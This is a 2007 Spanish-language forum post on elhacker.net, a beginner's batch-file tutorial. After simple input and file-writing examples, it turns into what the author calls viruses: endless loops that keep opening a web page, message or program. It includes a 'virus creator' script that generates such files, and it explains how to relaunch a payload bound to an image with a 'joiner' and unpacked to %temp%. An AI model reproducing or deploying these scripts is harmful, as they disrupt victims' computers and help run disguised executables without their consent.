elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


  Mostrar Temas
Páginas: 1 2 3 4 [5]
41  Programación / Scripting / tuto batch para principiante(en contruccion) en: 25 Diciembre 2007, 23:53 pm
ola, no se donde va esto pero este fue el lugar mas indicado que encontre para ponerlo bueno si va en otro lado los moderadores lo cambiaran.
empesemos.

bueno batch komo ustedes sabran es lo mismo que ms-dos las preguntas que se pueden hacer son las siguientes
¿como creo un archivo batch ?
bueno esto se puede hacer escribiendo todo lo que kontendra el batch en bloc de notas i depues poner guardar como i en nombre poner nombredelarchivo.bat o nombredel archivo.cmd desde windows 2000 para arriba(nome acuerdo bien si es del 200 para arriba o desde el xp)
¿por que se guarda como archivo.bat i no archivo.batch?
bueno esto es por que en la consola de ms-dos no se pude poner mas de 3 letras en la extensión i x esto desidieron poner las 3 primeras letras de batch osea bat
¿este idioma de programacion es bueno para empezar?
si,este idioma no es mui complicado por lo que es un buen idioma para empezar a programar despues de manojar este recomiendo seguir con visual basic.
¿que es lo que se puede hacer con este idioma?
puedezs hacer desde una encuesta asta editar el registro
¿se pueden hacer troyanos con batch?
no, no se puede pero se puede hacer artas cosas como virus, worms,etc...

bueno empecemos la guia

1º_ empecemos con algo facil como hacer una pregunta i ocupar la respuesta
Código:
@echo off
set /p respuesta=komo te llamas?
echo te llamas %respuesta%
pause
exit

explicaremos esto "echo off" se usa para que muestre sola la respuesta osea que no aparescan los comandos
Código:
ej:si pones set /p rata=ola?va a mostar solo ola?
"set /p" se usa para establecer una variable osea si pones 
Código:
set /p respuesta=komo te llamas?
la varible es respuesta que esto va a ser = a lo que eskribas
Código:
ej:si escribes de respuesta ola raspuesta va hacer = a ola
esto lo puedes ocupar para poner un mensaje
Código:
ej: echo tu nombre es %respuesta% (siempre ai que enserrar la palabra en % cuando se ocupa para hacer algo)
esto va a mostrar un mensage que dira tu nombre es i la respuesta que diste
ejemplo si diste de respuesta juan va a mostar
Código:
tu nombre es juan
(uno puede ocupar cualkier palabra emvves de respuesta)
ejemplo:puedes ocupar pollo i kedaria a si
Código:
set /p pollo=tu nombre es?
echo tu nombre es %pollo%
siempre asegurate de que sea la misma palabra
"pause" se ocupa para que la persona tenga que apretar una tecla para continuar
"exit" se ocupa para salir del programa

2º_ imventaremos un archivo que kree un archivo que si lo abres va a aparecer un mensaje diciendo ola
el codigo seria
Código:
@echo off
echo msg * ola>> mensaje.bat
exit
vamos a explicar
bueno la mayoria de la sintaxis ia la explique pero vamos a explicar lo que no explique
"echo msg * ola>> mensaje.bat"con esto digo que kree un programa que al abrirlo apareska un mensage esto se ase asi "echo lo que va a estar escrito dentro del archivo >>ruta/nombre del archivo.extension(si no se pone la ruta se crea el archivo en la misma ruta del archivo originalosea el creador).
3º_vamos a  unir el primer ejecicio con el segundo
este archivo lo que va hacer que kree un archivo que muestre un mensaje que diga lo que kieras kedaria asi:
Código:
@echo off
set /P mensaje=que kieres que diga el mensaje?
echo msg * %mensaje%>>msg2.bat
exit
bueno lo que ase es crear msg2.bat que diga msg * mensaje que kieres
i al ser .bat muestra el mensaje si kieres aaser mas completo esto puedes hacer esto:
Código:
@echo off
set /P mensaje=que kieres que diga el mensaje?
echo @echo off>>msg2.bat
echo msg * %mensaje%>>msg2.bat
echo exit>>msg2.bat
exit

esto lo que ase es crear el archivo i sobre escribirlo ia que no se puede hacer de esta manera:
Código:
set /P mensaje=que kieres que diga el mensaje?
echo @echo off
msg * %mensaje%
exit
>>msg2.bat
exit
 :xD
4º_aora lo que vamos a hacer es un virus simple mas lamados bucle
este lo que ara es abrir una pagina consecutivamente esto kedaria asi:
Código:
@echo off
:pagina
start www.yelcho.cl
goto pagina
esto lo que dice es
":pagina" es como una "direccion" que se le asigna al comando siempre tiene que aver antes dela "direcion" ":" para que sepa el programa que es la "direccion" que se le asigna al comando
"start" es para iniciar algo por ejemplo en este caso dice start www.yelcho.clestodice que abra una ventana de internet  de la pagina www.yelcho.cl
"goto" significa ir a i al poner la "direccion" este va a esa "direccion"  en resumen abre www.yelcho.cl idespues ase que se repita la ccion infinitas veces
5º_creador de virus
este programa lo que ara sera crear un virus simple como el anterior klaro que dara opciones i con titulo
el kodigo kedaria asi:
Código:
@echo off
title creador by .::krackwar::.
set /p name=kual kieres que sea el nombre del virus?(sin la extension)
echo aprieta cualquier tecla
pause>nul
cls
set /p car1=que pagina kieres que se abra x siempre??(ej:www.pag.com)
echo @echo off>>%name%.bat
echo :pagina>>%name%.bat
echo start %car1%>>%name%.bat
echo goto pagina >>%name%.bat
msg * by .::krackwar::.
msg * xao
exit
aki ai 2 comandos nuevos uno que es "cls" este se ocupa para limpiar la pantalla
i el otro que es "title" que se usa para ponerle titulo a el archivo e ej:
Código:
title "aki va el tiulo"
esto aii que ponerlo debajo del echo off ia que si no se be cuando escribe title "titulo"
i se ve feo :¬¬ .bueno esto de ejecutar una pagina web consecutivamente se puede hacer tambien con algun programa , mensaje ,etc...  ej para un mensaje :
Código:
@echo off
:mensage
start msg * "el mensaje kee kkieren "
goto mensaje
si kieren aserlo kon el  :
Código:
@echo off
title creador by .::krackwar::.
set /p name=kual kieres que sea el nombre del virus?(sin la extension)
echo aprieta cualquier tecla
pause>nul
cls
set /p car1=que pagina kieres que se abra x siempre??(ej:www.pag.com)
echo @echo off>>%name%.bat
echo :pagina>>%name%.bat
echo start %car1%>>%name%.bat
echo goto pagina >>%name%.bat
msg * by .::krackwar::.
msg * xao
exit
emves de poner la pagina pones msg * "el mensaje que kieres" o pueden aserle esta modificacion :
Código:
@echo off
title creador by .::krackwar::.
set /p name=kual kieres que sea el nombre del virus?(sin la extension)
echo aprieta cualquier tecla
pause>nul
cls
set /p car1=que mensaje que kieres mostar por siempre??(modificacion 1)
echo @echo off>>%name%.bat
echo :pagina>>%name%.bat
echo start msg *  %car1%>>%name%.bat(modificacion 2 )
echo goto pagina >>%name%.bat
msg * by .::krackwar::.
msg * xao
exit
para ejecutar un aarchivo te tienes que saber la ruta del archivo o si ocupas un joiner i este descomprime los archivos en la carpeta de archivos temporales por ejemplo si usas un joimer i este descomprime los archivos en la carpeta temporal kedaria asi:
Código:
@echo off 
:programa
start %temp%/archivo(el nombre del archivo tiene que ser el nombre del archivo original por ejemplo si combinaste una foto que se llamaba lol.jpg i el archivo se llamava jaja.exe i los uniste i el archivo final se llamaba nose.exe entonces kedaria asi %temp%/jaja.exe)
goto programa
si kieres aserlo con el creador seria:
Código:
@echo off
title creador by .::krackwar::.
set /p name=kual kieres que sea el nombre del virus?(sin la extension)
echo aprieta cualquier tecla
pause>nul
cls
set /p car1=que programa kieres que se ejecute por siempre??(modificacion 1)
echo @echo off>>%name%.bat
echo :pagina>>%name%.bat
echo  %temp%/%car1%>>%name%.bat(modificacion 2 )
echo goto pagina >>%name%.bat
msg * by .::krackwar::.
msg * xao
exit
bueno explicare un poco que es %temp%, %temp% es la direccion de la carpeta donde se guardan los archivos temporales osea los que dura un tiempo x ejemplo kuando usas el word i no guardas nosierto que = esta tu archivo en archivo/nose.doc
bueno este archivo se almacena en la carpeta %temp%, bueno porke ponemos %TEMP% I NO SIMPLEMENTE TEMPORALES bueno esto es porke si kieres as3r esto tendrias que sabeerte toda la ruta i esta puede variar segun la pc.

bueno asi kedaria si ocuparas un joiner i si lo isieras normalmente te tendrias que saber la ruta del archivo
ej:
Código:
:programa2
ruta/arhivo
goto programa2
bueno i con el creador kedaria asi:
Código:
@echo off
title creador by .::krackwar::.
set /p name=kual kieres que sea el nombre del virus?(sin la extension)
echo aprieta cualquier tecla
pause>nul
cls
set /p car1=que programa kiers que abra x siempre??(anotar con ruta ej: ruta/archivo)
echo @echo off>>%name%.bat
echo :pagina>>%name%.bat
echo %car1%>>%name%.bat(OJO)
echo goto pagina >>%name%.bat
msg * by .::krackwar::.
msg * xao
exit

Páginas: 1 2 3 4 [5]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines